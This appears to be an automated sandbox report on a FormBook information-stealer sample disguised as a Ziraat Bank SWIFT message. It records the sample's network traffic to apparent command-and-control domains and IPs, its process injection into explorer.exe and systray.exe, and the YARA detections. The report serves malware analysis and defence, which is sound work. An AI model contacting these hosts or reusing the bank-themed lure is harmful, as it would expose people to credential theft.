                                                                      .reloc0xb80000xc0x200False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                      Resources

                                                                      NameRVASizeTypeLanguageCountry
                                                                      RT_VERSION0xb60a00x32cdata
                                                                      RT_MANIFEST0xb63cc0x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

                                                                      Imports

                                                                      DLLImport
                                                                      mscoree.dll_CorExeMain

                                                                      Network Behavior

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Nov 29, 2022 10:18:12.099618912 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.132400036 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.132574081 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.132653952 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166188002 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166218996 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166239977 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166260958 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:12.166452885 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166454077 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.166740894 CET4969880192.168.2.4141.136.43.229
                                                                      Nov 29, 2022 10:18:12.199331999 CET8049698141.136.43.229192.168.2.4
                                                                      Nov 29, 2022 10:18:17.455929995 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.713973045 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.714298010 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.714528084 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:17.972193003 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976200104 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976226091 CET804969938.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:17.976337910 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:18.715300083 CET4969980192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.732419014 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.991139889 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:19.991379976 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:19.991839886 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.250371933 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253719091 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253741980 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253756046 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:20.253885984 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.253931046 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.254262924 CET4970080192.168.2.438.239.92.131
                                                                      Nov 29, 2022 10:18:20.514318943 CET804970038.239.92.131192.168.2.4
                                                                      Nov 29, 2022 10:18:25.456048012 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.636853933 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.637147903 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.637303114 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.817992926 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818844080 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818865061 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818928003 CET8049701103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:25.818967104 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:25.819005966 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:26.653980970 CET4970180192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.664506912 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.854477882 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:27.854909897 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:27.855137110 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.044476032 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045181036 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045207024 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.045227051 CET8049702103.11.189.189192.168.2.4
                                                                      Nov 29, 2022 10:18:28.064215899 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.064922094 CET4970280192.168.2.4103.11.189.189
                                                                      Nov 29, 2022 10:18:28.254328012 CET8049702103.11.189.189192.168.2.4

                                                                      UDP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Nov 29, 2022 10:18:12.005403042 CET5091153192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:12.036030054 CET53509118.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:17.173329115 CET5968353192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:17.454163074 CET53596838.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:25.268935919 CET6416753192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:25.443312883 CET53641678.8.8.8192.168.2.4
                                                                      Nov 29, 2022 10:18:33.067755938 CET5856553192.168.2.48.8.8.8
                                                                      Nov 29, 2022 10:18:33.199367046 CET53585658.8.8.8192.168.2.4

                                                                      DNS Queries

                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                      Nov 29, 2022 10:18:12.005403042 CET192.168.2.48.8.8.80xb2cbStandard query (0)www.notarpucarhr.comA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:17.173329115 CET192.168.2.48.8.8.80xa946Standard query (0)www.multimediapages.comA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:25.268935919 CET192.168.2.48.8.8.80xc60fStandard query (0)www.oaksinstitute.netA (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.067755938 CET192.168.2.48.8.8.80x2fe9Standard query (0)www.thetrendsinfo.comA (IP address)IN (0x0001)false

                                                                      DNS Answers

                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                      Nov 29, 2022 10:18:12.036030054 CET8.8.8.8192.168.2.40xb2cbNo error (0)www.notarpucarhr.comnotarpucarhr.comCNAME (Canonical name)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:12.036030054 CET8.8.8.8192.168.2.40xb2cbNo error (0)notarpucarhr.com141.136.43.229A (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:17.454163074 CET8.8.8.8192.168.2.40xa946No error (0)www.multimediapages.com38.239.92.131A (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:25.443312883 CET8.8.8.8192.168.2.40xc60fNo error (0)www.oaksinstitute.net103.11.189.189A (IP address)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.199367046 CET8.8.8.8192.168.2.40x2fe9No error (0)www.thetrendsinfo.comthetrendsinfo.comCNAME (Canonical name)IN (0x0001)false
                                                                      Nov 29, 2022 10:18:33.199367046 CET8.8.8.8192.168.2.40x2fe9No error (0)thetrendsinfo.com68.66.216.12A (IP address)IN (0x0001)false

                                                                      HTTP Request Dependency Graph

                                                                      • www.notarpucarhr.com
                                                                      • www.multimediapages.com
                                                                      • www.oaksinstitute.net

                                                                      Statistics

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Target ID:2
                                                                      Start time:10:16:23
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0xbd0000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:.Net C# or VB.NET
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:5
                                                                      Start time:10:16:35
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0x30000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:6
                                                                      Start time:10:16:36
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0x7e0000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:7
                                                                      Start time:10:16:42
                                                                      Start date:29/11/2022
                                                                      Path:C:\Windows\explorer.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\Explorer.EXE
                                                                      Imagebase:0x7ff618f60000
                                                                      File size:3933184 bytes
                                                                      MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                                      Has elevated privileges:false
                                                                      Has administrator privileges:false
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:10
                                                                      Start time:10:17:35
                                                                      Start date:29/11/2022
                                                                      Path:C:\Windows\SysWOW64\systray.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Windows\SysWOW64\systray.exe
                                                                      Imagebase:0x1010000
                                                                      File size:9728 bytes
                                                                      MD5 hash:1373D481BE4C8A6E5F5030D2FB0A0C68
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      Reputation:moderate

                                                                      Disassembly

                                                                      ⊘No disassembly